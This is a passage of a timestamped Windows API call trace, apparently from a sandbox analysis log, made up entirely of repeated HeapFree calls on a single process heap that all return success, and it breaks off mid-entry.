[0187.279] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.279] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.279] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.279] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.280] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.280] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.280] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.280] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0187.280] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0187.280] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ed0048 | out: hHeap=0x420000) returned 1 [0187.287] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.288] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.288] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.288] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.289] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.290] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.290] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.291] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.292] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.293] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.294] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.294] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.295] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.295] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.296] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.296] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.297] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.298] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.301] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.301] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.301] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.525] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.526] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0187.526] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0187.526] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0187.527] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0187.527] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0187.527] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0187.527] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0187.527] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0187.527] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0187.527] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0187.527] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0187.528] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0187.528] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0187.528] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0187.528] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ed0048 | out: hHeap=0x420000) returned 1 [0187.531] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0187.531] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0187.532] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0187.532] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0187.532] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ed0048 | out: hHeap=0x420000) returned 1 [0187.532] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ed0048 | out: hHeap=0x420000) returned 1 [0187.532] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0187.535] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.535] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0187.535] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0187.738] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.739] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.745] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.746] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.747] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.747] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.747] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.748] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.749] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.749] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.749] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.750] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.750] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.750] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.751] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.752] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.753] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.753] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.754] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.754] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.755] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.755] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.755] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.756] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.756] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.757] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.757] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.758] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.758] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.758] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.758] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.758] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.759] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.759] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.759] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0187.759] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0187.759] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0187.760] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0187.761] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0187.761] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0187.765] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0187.772] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.772] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0187.772] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0187.775] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.776] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.776] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.776] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.777] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.777] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.778] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.778] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.779] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.779] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.780] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.780] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.780] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.780] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0187.942] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0188.448] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4f00060 | out: hHeap=0x420000) returned 1 [0188.448] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4f00060 | out: hHeap=0x420000) returned 1 [0188.448] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0188.449] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0188.449] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0188.451] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0188.451] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4f00060 | out: hHeap=0x420000) returned 1 [0188.455] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0188.455] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0188.455] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4f00060 | out: hHeap=0x420000) returned 1 [0188.455] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0188.455] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0188.455] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0188.455] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0188.456] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0188.456] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0188.456] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0188.456] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0188.456] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0188.456] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0188.456] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0188.456] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0188.457] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0188.457] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0188.457] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0188.457] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0188.457] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0188.457] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0188.457] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0188.457] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0188.458] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0188.458] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0188.458] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0188.459] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0188.459] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0188.460] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0188.461] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0188.461] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0188.461] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0188.463] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0188.463] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0188.465] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0188.466] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0188.466] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0188.466] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0188.468] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0188.468] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0188.468] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4f00060 | out: hHeap=0x420000) returned 1 [0188.468] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0188.471] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4f00060 | out: hHeap=0x420000) returned 1 [0188.478] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0188.478] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0188.478] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4f00060 | out: hHeap=0x420000) returned 1 [0188.481] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0188.482] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0188.483] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0188.483] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0188.512] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0188.739] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0188.739] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0188.740] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0188.740] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0188.741] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0188.742] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0188.743] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0188.744] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0188.745] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0188.745] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0188.746] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0188.746] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0188.747] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0188.748] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0188.748] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0188.748] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0188.749] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0188.750] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0188.750] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0188.751] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0188.751] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0188.752] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0188.752] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0188.753] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0188.753] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0188.753] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0188.754] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0188.754] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0188.754] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0188.755] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0188.756] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0188.756] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0188.756] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4f00060 | out: hHeap=0x420000) returned 1 [0188.756] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0188.762] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4f00060 | out: hHeap=0x420000) returned 1 [0188.762] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4f00060 | out: hHeap=0x420000) returned 1 [0188.765] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0188.767] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4f00060 | out: hHeap=0x420000) returned 1 [0188.771] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0188.772] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0188.773] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0188.774] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0188.774] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0188.775] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0188.775] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0188.776] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0188.777] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0188.778] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0188.778] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0188.778] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0188.779] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0188.780] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0188.840] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0189.191] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x497798 | out: hHeap=0x420000) returned 1 [0189.192] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x497798 | out: hHeap=0x420000) returned 1 [0189.192] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x497798 | out: hHeap=0x420000) returned 1 [0189.192] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x497798 | out: hHeap=0x420000) returned 1 [0189.192] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x497798 | out: 